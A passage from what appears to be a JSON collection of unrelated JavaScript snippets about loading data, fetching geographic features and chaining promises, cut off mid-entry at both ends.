{\\n\\n document.getElementById('buttons').innerHTML = '';\\n let div = document.createElement('div');\\n div.className = 'control-area';\\n\\n let buttonType;\\n if (typeof uid !== undefined && uid !== \\\"\\\" && uid != null) {\\n buttonType = button[0];\\n } else {\\n buttonType = button[1];\\n }\\n div.innerHTML = ``\\n\\n // Append element to document\\n document.getElementById('buttons').appendChild(div);\\n })\\n return features;\\n });\\n}\",\n \"async function getData(){\\r\\n\\r\\n //Fetch the data from the geojson file\\r\\n fetch(\\\"BEWES_Building_Data.geojson\\\").then(response => response.json()).then(data => {addToTable(data);});\\r\\n\\r\\n }\",\n \"getFeatures() {\\n\\t\\tfetch(`https://maximum-arena-3000.codio-box.uk/api/features/${this.state.prop_ID}`, {\\n\\t\\t\\tmethod: \\\"GET\\\",\\n\\t\\t\\tbody: null,\\n\\t\\t\\theaders: {\\n\\t\\t\\t\\t\\\"Authorization\\\": \\\"Basic \\\" + btoa(this.context.user.username + \\\":\\\" + this.context.user.password)\\n\\t\\t\\t}\\n\\t\\t})\\n\\t\\t\\t.then(status)\\n\\t\\t\\t.then(json)\\n\\t\\t\\t.then(dataFromServer => {\\n\\t\\t\\t\\tthis.setState({\\n\\t\\t\\t\\t\\tfeatures: dataFromServer,\\n\\t\\t\\t\\t});\\n\\t\\t\\t\\tconsole.log(dataFromServer, 'features here')\\n\\t\\t\\t})\\n\\t\\t\\t.catch(error => {\\n\\t\\t\\t\\tconsole.log(error)\\n\\t\\t\\t\\tmessage.error('Could not get the features. Try Again!', 5);\\n\\t\\t\\t});\\n\\t}\",\n \"async function loadCoreData() {\\n await Promise.all([\\n loadExercises(),\\n loadCategories(),\\n loadSessions(),\\n ]);\\n}\",\n \"function load() {\\n return Promise.all([storage.getTree(), storage.getTokenIndex(), storage.getEntries()])\\n .then(function(result) {\\n console.log('load results')\\n tree = result[0];\\n dbIndex = new Index(result[1]);\\n entries = result[2];\\n });\\n}\",\n \"load() {\\n return Promise.resolve(false /* identified */);\\n }\",\n \"async fetchDvFeatures() {\\n await fetch(\\n `${this.mapboxLayer.url}/data/ch.sbb.direktverbindungen.public.json?key=${this.mapboxLayer.apiKey}`,\\n )\\n .then((res) => res.json())\\n .then((data) => {\\n this.allFeatures = data['geops.direktverbindungen'].map((line) => {\\n return new Feature({\\n ...line,\\n geometry: new LineString([\\n [line.bbox[0], line.bbox[1]],\\n [line.bbox[2], line.bbox[3]],\\n ]),\\n });\\n });\\n this.syncFeatures();\\n })\\n // eslint-disable-next-line no-console\\n .catch((err) => console.error(err));\\n }\",\n \"async function load() { // returns a promise of an array\\n const rawData = await fsp.readFile('./restaurant.json');\\n const restaurantsArray = (JSON.parse(String(rawData)));\\n return restaurantsArray;\\n}\",\n \"async loadLazy () {\\n /**\\n if(this.load && !this.loadComplete) {\\n import('./lazy-element.js').then((LazyElement) => {\\n this.loadComplete = true;\\n console.log(\\\"LazyElement loaded\\\");\\n }).catch((reason) => {\\n console.log(\\\"LazyElement failed to load\\\", reason);\\n });\\n }\\n */\\n }\",\n \"loadLevels() {\\n return Object(tslib__WEBPACK_IMPORTED_MODULE_0__[\\\"__awaiter\\\"])(this, void 0, void 0, function* () {\\n const level_list = yield Object(_placeos_ts_client__WEBPACK_IMPORTED_MODULE_2__[\\\"queryZones\\\"])({ tags: 'level', limit: 2500 })\\n .pipe(Object(rxjs_operators__WEBPACK_IMPORTED_MODULE_3__[\\\"map\\\"])((i) => i.data))\\n .toPromise();\\n const levels = level_list.map((lvl) => new _level_class__WEBPACK_IMPORTED_MODULE_7__[\\\"BuildingLevel\\\"](lvl));\\n levels.sort((a, b) => (a.name || '').localeCompare(b.name || ''));\\n this.levels_subject.next(levels);\\n });\\n }\",\n \"load() {\\n return __awaiter(this, undefined, undefined, function* () {\\n yield Promise.all([\\n this._strings.load(),\\n this._pedal.load(),\\n this._keybed.load(),\\n this._harmonics.load(),\\n ]);\\n this._loaded = true;\\n });\\n }\",\n \"function loadAllRegimes() {\\n //also get the available regimens here for later\\n return conceptService.get(Bahmni.Common.Constants.arvRegimensConvSet).then(function (result) {\\n vm.allRegimes = result.data;\\n });\\n }\",\n \"async getFeaturesAtLocation(latLngHeight, providerCoords) {\\n const pickPosition = this.scene.globe.ellipsoid.cartographicToCartesian(Cartographic.fromDegrees(latLngHeight.longitude, latLngHeight.latitude, latLngHeight.height));\\n const pickPositionCartographic = Ellipsoid.WGS84.cartesianToCartographic(pickPosition);\\n const promises = [];\\n const imageryLayers = [];\\n for (let i = this.scene.imageryLayers.length - 1; i >= 0; i--) {\\n const imageryLayer = this.scene.imageryLayers.get(i);\\n const imageryProvider = imageryLayer.imageryProvider;\\n // @ts-ignore\\n const imageryProviderUrl = imageryProvider.url;\\n if (imageryProviderUrl && providerCoords[imageryProviderUrl]) {\\n var tileCoords = providerCoords[imageryProviderUrl];\\n const pickPromise = imageryProvider.pickFeatures(tileCoords.x, tileCoords.y, tileCoords.level, pickPositionCartographic.longitude, pickPositionCartographic.latitude);\\n if (pickPromise) {\\n promises.push(pickPromise);\\n }\\n imageryLayers.push(imageryLayer);\\n }\\n }\\n const pickedFeatures = this._buildPickedFeatures(providerCoords, pickPosition, [], promises, imageryLayers, pickPositionCartographic.height, true);\\n await pickedFeatures.allFeaturesAvailablePromise;\\n return pickedFeatures.features;\\n }\",\n \"async function importFeatureSuggestions(p) {\\n if (!confirm(\\\"Import feature suggestions?\\\\n(This adds a lot of data.)\\\")) return\\n await loadCompendiumFeatureSuggestions()\\n // console.log(\\\"compendiumFeatureSuggestionsTables\\\", compendiumFeatureSuggestionsTables)\\n const nodeTable = compendiumFeatureSuggestionsTables[\\\"Node\\\"]\\n importNodeTable(p, nodeTable)\\n const viewNodeTable = compendiumFeatureSuggestionsTables[\\\"ViewNode\\\"]\\n importViewNodeTable(p, viewNodeTable)\\n const linkTable = compendiumFeatureSuggestionsTables[\\\"Link\\\"]\\n importLinkTable(p, linkTable)\\n const viewLinkTable = compendiumFeatureSuggestionsTables[\\\"ViewLink\\\"]\\n importViewLinkTable(p, viewLinkTable)\\n}\",\n \"function fetchGeoData(){\\n $.ajax({\\n dataType: \\\"json\\\",\\n url: \\\"data/map.geojson\\\",\\n success: function(data) {\\n $(data.features).each(function(key, data) {\\n geoDataLocations.push(data);\\n });\\n startMap();\\n },\\n error: function(error){\\n console.log(error);\\n return error;\\n }\\n });\\n }\",\n \"function got_features(bbox, features){\\n console.log('got features')\\n\\n sort_features(features)\\n\\n features.forEach(function(feature){\\n console.log(new Date(feature.attributes.acquisitionDate))\\n })\\n\\n var dates = []\\n for(var i = 1999; i <= 2013; i++){\\n for(var j = 1; j <= 12; j++){\\n dates.push(new Date( '' + j + '/01/' + i + ' GMT-0800 (PST)'))\\n }\\n }\\n // dates.push(new Date('1/01/2014 GMT-0800 (PST)'))\\n // dates.push(new Date('2/01/2014 GMT-0800 (PST)'))\\n // dates.push(new Date('3/01/2010 GMT-0800 (PST)'))\\n // dates.push(new Date('3/01/2011 GMT-0800 (PST)'))\\n // dates.push(new Date('3/01/2012 GMT-0800 (PST)'))\\n // dates.push(new Date('3/01/2013 GMT-0800 (PST)'))\\n // dates.push(new Date('3/01/2014 GMT-0800 (PST)'))\\n console.log(dates)\\n\\n dates.map(function(date){\\n date = Number(date)\\n console.log('features for date', new Date(date))\\n var date_features = features_by_timestamp(date, features)\\n date_features.sort(function(a, b){\\n return a.attributes.acquisitionDate - b.attributes.acquisitionDate\\n })\\n var ids = date_features\\n .map(function(feature){ return feature.attributes.OBJECTID })\\n console.log('\\\\tfeatures:', date_features.map(function(f){ return JSON.stringify([new Date(f.attributes.acquisitionDate), f.attributes.OBJECTID]) }))\\n return {\\n // find all the closest ids by date without going over\\n ids: ids\\n , date: date\\n , bbox: bbox\\n }\\n }).map(function(obj){\\n save_image_from_date(obj, 'test-' + obj.date + '.jpg')\\n })\\n}\",\n \"async load () {}\",\n \"function og(){ci()(this,{$featuresCollection:{enumerable:!0,get:this.getFeaturesCollection}})}\",\n \"async initializeDataLoad() {\\n }\",\n \"loadAgencies() {\\n\\t\\tgetAgencies()\\n\\t\\t\\t.then((ans) => {\\n\\t\\t\\t\\tvar fastAccess = {};\\n\\t\\t\\t\\tfor(var i = 0; i < ans.length; i++) {\\n\\t\\t\\t\\t\\tlet ag = ans[i];\\n\\t\\t\\t\\t\\tfastAccess[ag.title] = ag.tag;\\n\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\tthis.setState({\\n\\t\\t\\t\\t\\tagencies: ans,\\n\\t\\t\\t\\t\\tfastAccess: fastAccess,\\n\\t\\t\\t\\t})\\n\\t\\t\\t});\\n\\t}\",\n \"function loadSmallTrail(evt) {\\n var req = $.ajax({\\n url: \\\"http://localhost:3000/w_pathnondistinct\\\",\\n type: \\\"GET\\\",\\n });\\n req.done(function (resp_json) {\\n console.log(JSON.stringify(resp_json));\\n var listaFeat = jsonAnswerDataToListElements(resp_json);\\n var linjedata = {\\n \\\"type\\\": \\\"FeatureCollection\\\",\\n \\\"features\\\": listaFeat\\n };\\n smallTrailArray.addFeatures((new ol.format.GeoJSON()).readFeatures(linjedata, { featureProjection: 'EPSG: 3856' }));\\n });\\n}\",\n \"function getTreeData() {\\n\\tnew Promise((resolve, reject) => {\\n\\t\\t\\tutil.getData(srcPath, resolve, reject, 1, rules)\\n\\t\\t})\\n\\t\\t.then(arr => start(arr))\\n\\t\\t.catch(err => console.error(err))\\n}\",\n \"function initiateFeatures() {\\r\\n\\tfeatures = [];\\r\\n\\tfor (var i = featuresNames.length - 1; i >= 0; i--) {\\r\\n\\t\\tlet feature = {\\r\\n\\t\\t\\tname: featuresNames[i],\\r\\n\\t\\t\\tHTMLbutton: $(\\\"#button-feature\\\" + i)[0],\\r\\n\\t\\t\\tHTMLelement: $(\\\"#feature\\\" + i)[0]};\\r\\n\\t\\tfeatures.push(feature);\\r\\n\\t}\\r\\n}\",\n \"function readCustomFeatures(options) {\\n return getCustomFeatureXmlFilenames(options.paths.featureXmlDir)\\n .then(function (filenames) {\\n return getCustomFiles(options.paths.featureXmlDir)\\n .then(function (files) {\\n return {\\n files: files,\\n customFeatureFilepath: filenames\\n };\\n });\\n });\\n}\",\n \"function get_all_loads(){\\n const q = datastore.createQuery(LOADS);\\n return datastore.runQuery(q).then( (entities) =>{\\n return entities[0].map(fromDatastore);\\n });\\n}\",\n \"toDataSourceEntities(options = {}, promiseCallback = () => {}) {\\n let dataSource = new cesium.GeoJsonDataSource();\\n let promise = dataSource.load(this.json, options);\\n\\n promise.then(function (dataSource) {\\n let entities = dataSource.entities.values;\\n for (let i = 0; i < entities.length; i++) {\\n promiseCallback(entities[i]);\\n }\\n });\\n }\",\n \"loadFromFile(path, callback){\\n\\t\\tfs.readFile(path, 'utf8', function(err, data){\\n\\t\\t\\tif(err){\\n\\t\\t\\t\\tconsole.log(err);\\n\\t\\t\\t\\treturn;\\n\\t\\t\\t}\\n\\t\\t\\t//data is the string returned by fs's readFile function.\\n\\t\\t\\tlet newData = JSON.parse(data);\\n\\n\\t\\t\\tthis.idIterator = newData.idIterator;\\n\\t\\t\\tthis.currentFeature = newData.currentFeature;\\n\\t\\t\\tthis.geo = newData.geo;\\n\\t\\t\\tcallback();\\n\\t\\t}.bind(this))\\n\\t}\",\n \"function getFragLocs(uris) {\\n if (uris)\\n return Promise.all(uris.map(uri => \\n\\t {console.log(\\\"GETLOC:\\\", uri)\\n return ( getTurtle(uri)\\n .then(store => {\\n const fragnode = store.any(rdf.sym(uri), REMIX(\\\"fragment\\\"), undefined)\\n\\t\\t console.log(uri, fragnode)\\n return Promise.resolve(getNodeURI(fragnode))\\n })\\n\\t .catch(e=>{console.log(e);return Promise.resolve(undefined)})\\n\\t\\t )}\\n ))\\n else return Promise.resolve([])\\n}\",\n \"async features() {\\n const res = await this.sendIgnoringError(\\\"FEAT\\\");\\n const features = new Map();\\n // Not supporting any special features will be reported with a single line.\\n if (res.code < 400 && (0, parseControlResponse_1.isMultiline)(res.message)) {\\n // The first and last line wrap the multiline response, ignore them.\\n res.message.split(\\\"\\\\n\\\").slice(1, -1).forEach(line => {\\n // A typical lines looks like: \\\" REST STREAM\\\" or \\\" MDTM\\\".\\n // Servers might not use an indentation though.\\n const entry = line.trim().split(\\\" \\\");\\n features.set(entry[0], entry[1] || \\\"\\\");\\n });\\n }\\n return features;\\n }\",\n \"async loadStartData() {\\n console.timeStart('track');\\n for (let document of this.documents.all()) {\\n if (this.shouldTrackFile(vscode_uri_1.URI.parse(document.uri).fsPath)) {\\n this.trackOpenedDocument(document);\\n }\\n }\\n if (this.alwaysIncludeGlobPattern) {\\n let alwaysIncludePaths = await util_1.promisify(glob_1.glob)(this.alwaysIncludeGlobPattern, {\\n cwd: this.startPath || undefined,\\n absolute: true,\\n });\\n for (let filePath of alwaysIncludePaths) {\\n filePath = vscode_uri_1.URI.file(filePath).fsPath;\\n if (this.shouldTrackFile(filePath)) {\\n this.trackFile(filePath);\\n }\\n }\\n }\\n await this.trackFileOrFolder(this.startPath);\\n console.timeEnd('track', `${this.map.size} files tracked`);\\n this.startDataLoaded = true;\\n }\",\n \"async load(indexRootUrl, searchHint) {\\n const enumValueIds = searchHint;\\n const promises = enumValueIds.map(async (valueId) => {\\n const value = this.values[valueId];\\n if (value.dataRowIds)\\n return Promise.resolve();\\n const promise = loadCsv(joinUrl(indexRootUrl, value.url), {\\n dynamicTyping: true,\\n header: true\\n }).then(rows => rows.map(({ dataRowId }) => dataRowId));\\n value.dataRowIds = promise;\\n return promise;\\n });\\n await Promise.all(promises);\\n }\",\n \"get feature() { return features.findById(this.get()); }\",\n \"static loadGenres() {\\n // Returns a new promise to the user\\n return new Promise((success, fail) => {\\n var genres = [] // Stores the Genre objects\\n // Reads all of the movie information\\n firebase.database().ref(\\\"items\\\").once('value').then(function(snapshot) {\\n // Explores all of the movies\\n for(var i = 0; i < snapshot.val().length; i++) {\\n var info = snapshot.val()[i] // Stores the movie info\\n var genre = info.genre; // Stores the movie's genre array\\n // Explores the genre's\\n for(var i2 = 0; i2 < genre.length; i2++) {\\n // Checks to see if the given genre is already in the genres array\\n if(genres.indexOf(genre[i2]) == -1) {\\n genres.push(genre[i2]) // Adds the entry to the genres array\\n }\\n }\\n // Checks if this is the last movie to be evaluated\\n if(i+1 == snapshot.val().length) {\\n success(genres) // Returns the genre array to the user\\n }\\n } \\n })\\n })\\n }\",\n \"async populateSensorList() {\\n\\n let url = \\\"http://air.eng.utah.edu/dbapi/api/liveSensors/\\\"+this.sensorSource;\\n if(this.sensorSource == \\\"airu\\\"){\\n url = \\\"http://air.eng.utah.edu/dbapi/api/liveSensors/airU\\\";\\n }\\n //let url = \\\"http://air.eng.utah.edu/dbapi/api/sensorsAtTime/airU&2019-01-04T22:00:00Z\\\"\\n let req = fetch(url)\\n console.log(\\\"INSIDE OF POPULATE!!!\\\",this.sensorList)\\n /* Adds each sensor to this.sensorList */\\n req.then((response) => {\\n return response.text();\\n })\\n .then((myJSON) => {\\n myJSON = JSON.parse(myJSON);\\n let sensors = [];\\n for (let i = 0; i < myJSON.length; i++) {\\n let val = {\\n id: myJSON[i].ID,\\n lat: myJSON[i].Latitude,\\n long: myJSON[i].Longitude\\n };\\n sensors.push(val)\\n }\\n\\n this.sensorList = sensors;\\n });\\n }\",\n \"function n$1(r){return r&&g.fromJSON(r).features.map((r=>r))}\",\n \"loadState() {\\n return Promise.resolve();\\n }\",\n \"async loadData() {\\n if (!this.load_data) throw new Error('no load data callback provided');\\n\\n return await Q.nfcall(this.load_data);\\n }\",\n \"async function loadEndpoints()\\n{\\n let result = [];\\n\\n const { db, sessionId } = this.global;\\n\\n const endpoints = await queryEndpoint.selectAllEndpoints(db, sessionId);\\n\\n // Selection is one by one since existing API does not seem to provide\\n // linkage between cluster and what endpoint it belongs to.\\n //\\n // TODO: there should be a better way\\n for (const endpoint of endpoints) {\\n const endpointClusters\\n = await queryEndpointType.selectAllClustersDetailsFromEndpointTypes(db, [ { endpointTypeId : endpoint.endpointTypeRef } ]);\\n result.push({...endpoint, clusters : endpointClusters.filter(c => c.enabled == 1) });\\n }\\n\\n return result;\\n}\",\n \"async getCockpitRegions() {\\n const regions = await this.getRegionNames();\\n return Promise.all(regions.map(name => {\\n var i = this.getRegionItems(name);\\n return i;\\n }));\\n }\",\n \"function loadData(data) {\\r\\n // returns a promise\\r\\n }\",\n \"function restcountries(restcountriesurl){\\r\\n return new Promise((res,rej)=>{\\r\\n let req= new XMLHttpRequest();\\r\\n req.open(\\\"GET\\\",restcountriesurl,true);\\r\\n req.addEventListener('load',function(){\\r\\n if(this.readyState===4 && this.status===200)\\r\\n res(req.responseText);\\r\\n else\\r\\n rej(\\\"unable to fetch\\\");\\r\\n })\\r\\n req.send();\\r\\n })\\r\\n}\",\n \"async function getVectorLayer() {\\n\\n let places = await fetch('/lugares/')\\n .then(resp => resp.json())\\n .then(data => data.features )\\n\\n let vectorSource = new VectorSource({\\n features: places.map(createIcon)\\n });\\n\\n let vectorLayer = new VectorLayer({\\n source: vectorSource\\n });\\n\\n return vectorLayer;\\n}\",\n \"function fetchRegions() {\\n return (dispatch, getState) => {\\n const store = getState();\\n const {\\n primaryMetricId,\\n relatedMetricIds,\\n filters,\\n currentStart,\\n currentEnd\\n } = store.primaryMetric;\\n\\n const metricIds = [primaryMetricId, ...relatedMetricIds].join(',');\\n // todo: identify better way for query params\\n return fetch(`/data/anomalies/ranges?metricIds=${metricIds}&start=${currentStart}&end=${currentEnd}&filters=${encodeURIComponent(filters)}`)\\n .then(res => res.json())\\n .then(res => dispatch(loadRegions(res)))\\n .catch(() => {\\n dispatch(requestFail());\\n });\\n\\n };\\n}\",\n \"async function getRegions() {\\n let fetchRegions = await fetch(`${APP_SERVER}/regions`, {\\n method: 'GET',\\n headers: {\\n \\\"Content-Type\\\": \\\"application/json\\\",\\n \\\"Authorization\\\": `Bearer ${token}`\\n }\\n });\\n\\n let allRegions = await fetchRegions.json();\\n let regions = allRegions.data;\\n \\n console.log(regions);\\n\\n if (regions) {\\n return regions;\\n } else {\\n console.log(\\\"[ERROR] Regions: NO REGIONS FOUND!, error msg: \\\" + regions);\\n }\\n}\",\n \"async loadGemfile() {\\n let gemfilePath = nova.workspace.config.get('rubygems.workspace.gemfileLocation')\\n let gemfileHandler = null\\n let gemfileLinesArray = []\\n\\n if (FUNCTIONS.isWorkspace()) {\\n // If no Gemfile is set in the workspace preferences, try to open one in the root directory.\\n if (gemfilePath == null) {\\n try {\\n gemfileHandler = nova.fs.open(`${FUNCTIONS.normalizePath(nova.workspace.path)}/Gemfile`)\\n } catch (error) { }\\n } else {\\n try {\\n gemfileHandler = nova.fs.open(`${FUNCTIONS.normalizePath(gemfilePath)}`)\\n } catch (error) {\\n console.log(\\n 'The \\\\'Gemfile\\\\' location set in the workspace preferences could not be found. Please check ' +\\n 'the location and try again.')\\n }\\n }\\n }\\n\\n if (gemfileHandler !== null) {\\n gemfileLinesArray = gemfileHandler.readlines()\\n gemfileHandler.close()\\n\\n this._gems = await this._evaluateGemfileLines(gemfileLinesArray)\\n }\\n\\n return this._gems\\n }\",\n \"function loadGCI() {\\n return fs.readFileSync('gci.txt','utf8')\\n }\",\n \"async function processHygrodataSeries(rawdata, pointID, marker, sourceElement, markerName, dataObj)\\r\\n{\\r\\n return new Promise((resolve, reject) => {\\r\\n // console.log(\\\"processHygrodataSeries()\\\");\\r\\n\\r\\n var lines = rawdata.split('\\\\n');\\r\\n var data = [];\\r\\n \\r\\n for(var line of lines)\\r\\n {\\r\\n var fields = line.split(',');\\r\\n \\r\\n // console.log(\\\"Line:\\\");\\r\\n // console.log(fields);\\r\\n \\r\\n if(fields.length < 2)\\r\\n {\\r\\n continue;\\r\\n }\\r\\n \\r\\n data.push(fields);\\r\\n }\\r\\n \\r\\n\\r\\n var intervals = new Array();\\r\\n\\r\\n // skip headers line\\r\\n for(let i = 1; i < data.length; i++)\\r\\n {\\r\\n // console.log(\\\"Snapshot \\\" + data[i][0]);\\r\\n\\r\\n var startDate = new Date(data[i][1], data[i][2], data[i][3], data[i][4], data[i][5], data[i][6]);\\r\\n var endInterval = new Date(startDate);\\r\\n endInterval.setSeconds(startDate.getSeconds() + 3599);\\r\\n\\r\\n var interval = new Cesium.TimeInterval(\\r\\n {\\r\\n \\\"start\\\" : Cesium.JulianDate.fromDate(startDate),\\r\\n \\\"stop\\\" : Cesium.JulianDate.fromDate(endInterval),\\r\\n \\\"isStartIncluded\\\" : true,\\r\\n \\\"isStopIncluded\\\" : false,\\r\\n // \\\"isStopIncluded\\\" : true,//false,\\r\\n // \\\"data\\\" : { \\\"temperature\\\" : data[i][7], \\\"humidity\\\" : data[i][8] }\\r\\n \\\"data\\\" : //[\\r\\n { \\r\\n \\\"element\\\" : marker,\\r\\n \\\"type\\\" : \\\"hygro\\\",\\r\\n \\\"owner\\\" : markerName,\\r\\n \\\"value\\\" : {\\r\\n \\\"temperature\\\" : data[i][7], \\\"humidity\\\" : data[i][8]\\r\\n }\\r\\n }\\r\\n //]\\r\\n }\\r\\n );\\r\\n\\r\\n // console.log(\\\"Adding interval\\\");\\r\\n intervals.push(interval);\\r\\n }\\r\\n\\r\\n // g_intervalGroups.set(sourceElement.name, new Cesium.TimeIntervalCollection(intervals));\\r\\n var intervalCollection = new Cesium.TimeIntervalCollection(intervals);\\r\\n g_intervalGroups.set(markerName, intervalCollection);\\r\\n\\r\\n dataObj.data.source = intervalCollection;\\r\\n\\r\\n // g_timeIntervals = new Cesium.TimeIntervalCollection(intervals);\\r\\n g_hygroData.set(pointID, { \\\"intervals\\\" : new Cesium.TimeIntervalCollection(intervals), \\\"marker\\\" : marker, \\\"caption\\\" : marker.label.text });\\r\\n\\r\\n resolve();\\r\\n });\\r\\n}\",\n \"function eng_gen() {\\n var condition1 = function () {\\n len_eng = corpus_eng.length;\\n // console.log(len_eng)\\n for (i = 0; i < len_eng; i++) {\\n var temp = corpus_eng[i].split(\\\"\\\\t\\\");\\n eng_ans.push(temp);\\n eng_words.add(eng_ans[i][0]);\\n }\\n }\\n $.when($.get(\\\"features_english.txt\\\", function (data_eng) { corpus_eng = data_eng.split(\\\"\\\\n\\\") })).then(condition1);\\n}\",\n \"function pollForCoremetricsReady(){\\n\\n\\t\\tvar promise = new Promise(function(resolve, reject){\\n\\n\\t\\t\\tif ( window.cmCreateElementTag && window.cm_ClientID ){\\n\\t\\t\\t\\treturn resolve( window.cmCreateElementTag );\\n\\t\\t\\t}\\n\\n\\t\\t\\tvar interval = setInterval(function(){\\n\\n\\t\\t\\t\\tif ( window.cmCreateElementTag && window.cm_ClientID ){\\n\\t\\t\\t\\t\\tclearInterval( interval );\\n\\t\\t\\t\\t\\tresolve( window.cmCreateElementTag );\\n\\t\\t\\t\\t}\\n\\t\\t\\t }, 500);\\n\\n\\t\\t});\\n\\n\\t\\treturn promise;\\n\\n\\t}\",\n \"fetchData() {\\n const url = 'http://data.unhcr.org/api/population/regions.json';\\n return fetch(url, {\\n method: 'GET',\\n })\\n .then((resp) => resp.json())\\n .then((json) => this.parseRefugeeData(json))\\n .catch((error) => Notification.logError(error, 'RefugeeCampMap.fetchData'));\\n }\",\n \"async loadIndex() {\\n const indexURL = this.config.indexURL\\n return loadIndex(indexURL, this.config, this.genome)\\n }\",\n \"featureTypeIriSelect(iri) {\\n this.props.loadingOn();\\n Actions.executeQueryForDatasetSource(\\n DatasetSourceStore.getSelectedDatasetSource().id,\\n \\\"spatial/get_feature_geometry\\\",\\n {object_type: \\\"<\\\"+iri+\\\">\\\"}\\n );\\n this.setState({value : iri,geometries:[]})\\n }\",\n \"async import(uri, options) {\\n const basePath = uri.substring(0, uri.lastIndexOf('/')) + '/'; // location of model file as basePath\\n const defaultOptions = _misc_DataUtil__WEBPACK_IMPORTED_MODULE_0__[\\\"default\\\"].createDefaultGltfOptions();\\n if (options && options.files) {\\n for (let fileName in options.files) {\\n const fileExtension = _misc_DataUtil__WEBPACK_IMPORTED_MODULE_0__[\\\"default\\\"].getExtension(fileName);\\n if (fileExtension === 'gltf' || fileExtension === 'glb') {\\n return await this.__loadFromArrayBuffer(options.files[fileName], defaultOptions, basePath, options);\\n }\\n }\\n }\\n const arrayBuffer = await _misc_DataUtil__WEBPACK_IMPORTED_MODULE_0__[\\\"default\\\"].fetchArrayBuffer(uri);\\n return await this.__loadFromArrayBuffer(arrayBuffer, defaultOptions, basePath, options);\\n }\",\n \"function trackFeatures(final_track_list) {\\n return new Promise(function(resolve, reject) {\\n let xhr = new XMLHttpRequest();\\n let url = 'https://api.spotify.com/v1/audio-features';\\n xhr.open(\\\"GET\\\", url + '?ids=' + final_track_list);\\n xhr.setRequestHeader('Authorization', 'Bearer ' + access_token);\\n xhr.onload = () => resolve(xhr.responseText);\\n xhr.onerror = () => reject(xhr.statusText);\\n xhr.send();\\n });\\n }\",\n \"load(src=[],opts={}){\\n\\t\\t// files loaded\\n\\t\\twindow.trs.loadedScript = window.trs.loadedScript || [] \\n\\t\\treturn new Promise((resolve,reject)=>{\\n\\t\\t\\t//options\\n\\t\\t\\tlet opt=opts\\n\\t\\t\\topt.async=opts.async||false\\n\\t\\t\\topt.once=opts.once||false\\n\\n\\t\\t\\tfor(let file of src){\\n\\t\\t\\t\\t// script\\n\\t\\t\\t\\tlet sc=document.createElement('script')\\n\\t\\t\\t\\tsc.src=file\\n\\t\\t\\t\\t// attributes\\n\\t\\t\\t\\tif(opt.async) sc.setAttribute('async','')\\n\\n\\t\\t\\t\\t// mark as loaded by lazy loader func\\n\\t\\t\\t\\tif(opt.once) {\\n\\t\\t\\t\\t\\tif (window.trs.loadedScript.indexOf(file) == -1 ) {\\n\\t\\t\\t\\t\\t\\twindow.trs.loadedScript.push(file)\\n\\t\\t\\t\\t\\t}else{\\n\\t\\t\\t\\t\\t\\treturn 0;\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\t// load\\n\\t\\t\\t\\tif(opt.module) sc.setAttribute('type','module')\\n\\t\\t\\t\\tsc.setAttribute('lazy-loaded','')\\n\\t\\t\\t\\tdocument.body.appendChild(sc)\\n\\t\\t\\t\\tresolve(sc)\\n\\t\\t\\t\\t\\t\\t\\t\\t\\n\\t\\t\\t}\\n\\t\\t})\\n\\t}\",\n \"fetchArtifacts() {\\n const artifactLocation = getSrc(this.props.path, this.props.runUuid);\\n this.props\\n .getArtifact(artifactLocation)\\n .then((rawFeatures) => {\\n const parsedFeatures = JSON.parse(rawFeatures);\\n this.setState({ features: parsedFeatures, loading: false });\\n })\\n .catch((error) => {\\n this.setState({ error: error, loading: false, features: undefined });\\n });\\n }\",\n \"getGroupsOfaPerson() {\\n return this.#fetchAdvanced(this.#getGroupsOfPersonURL()).then((responseJSON) => {\\n let groupBOs = GroupBO.fromJSON(responseJSON);\\n return new Promise(function (resolve) {\\n resolve(groupBOs);\\n })\\n })\\n}\",\n \"async function loadFromFile (file) {\\n const deferred = createDeferred()\\n\\n const fileReader = new window.FileReader()\\n\\n fileReader.onload = onLoad\\n fileReader.onabort = () => {\\n deferred.reject(new Error(`file load interrupted: ${file}`))\\n }\\n fileReader.onerror = () => {\\n deferred.reject(new Error(`file load error: ${file}`))\\n }\\n\\n fileReader.readAsText(file)\\n\\n return deferred.promise\\n\\n function onLoad (event) {\\n const data = event.target && event.target.result\\n if (data == null) {\\n return deferred.reject(new Error(`no data in file: ${file.name}`))\\n }\\n\\n let profileData\\n try {\\n profileData = JSON.parse(data)\\n } catch (err) {\\n return deferred.reject(new Error(`file is not JSON: ${file.name}`))\\n }\\n\\n const profileInfo = ProfileInfo.create(profileData)\\n if (profileInfo == null) {\\n return deferred.reject(new Error(`file is not a V8 CPU profile: ${file.name}`))\\n }\\n\\n profileInfo.fileName = file.name\\n\\n Store.set({\\n profileInfo,\\n pkgIdSelected: null,\\n modIdSelected: null,\\n fnIdSelected: null\\n })\\n\\n deferred.resolve(profileInfo)\\n }\\n}\",\n \"async loadTokensList() {\\n return null;\\n }\",\n \"async function readFile(){\\n return new Promise((resolve,reject)=>{\\n fs.readFile('../dataset/smallDataSet.csv','utf8',(err, data)=>{\\n if(err) reject(err);\\n resolve(data);\\n });\\n })\\n}\",\n \"function loadSequence() {\\n var _args = arguments;\\n return {\\n deps: ['$ocLazyLoad', '$q',\\n\\t\\t\\tfunction ($ocLL, $q) {\\n\\t\\t\\t var promise = $q.when(1);\\n\\t\\t\\t for (var i = 0, len = _args.length; i < len; i++) {\\n\\t\\t\\t promise = promiseThen(_args[i]);\\n\\t\\t\\t }\\n\\t\\t\\t return promise;\\n\\n\\t\\t\\t function promiseThen(_arg) {\\n\\t\\t\\t if (typeof _arg == 'function')\\n\\t\\t\\t return promise.then(_arg);\\n\\t\\t\\t else\\n\\t\\t\\t return promise.then(function () {\\n\\t\\t\\t var nowLoad = requiredData(_arg);\\n\\t\\t\\t if (!nowLoad)\\n\\t\\t\\t return $.error('Route resolve: Bad resource name [' + _arg + ']');\\n\\t\\t\\t return $ocLL.load(nowLoad);\\n\\t\\t\\t });\\n\\t\\t\\t }\\n\\n\\t\\t\\t function requiredData(name) {\\n\\t\\t\\t if (jsRequires.modules)\\n\\t\\t\\t for (var m in jsRequires.modules)\\n\\t\\t\\t if (jsRequires.modules[m].name && jsRequires.modules[m].name === name)\\n\\t\\t\\t return jsRequires.modules[m];\\n\\t\\t\\t return jsRequires.scripts && jsRequires.scripts[name];\\n\\t\\t\\t }\\n\\t\\t\\t}]\\n };\\n }\",\n \"function loadSequence() {\\n var _args = arguments;\\n return {\\n deps: ['$ocLazyLoad', '$q',\\n\\t\\t\\tfunction ($ocLL, $q) {\\n\\t\\t\\t var promise = $q.when(1);\\n\\t\\t\\t for (var i = 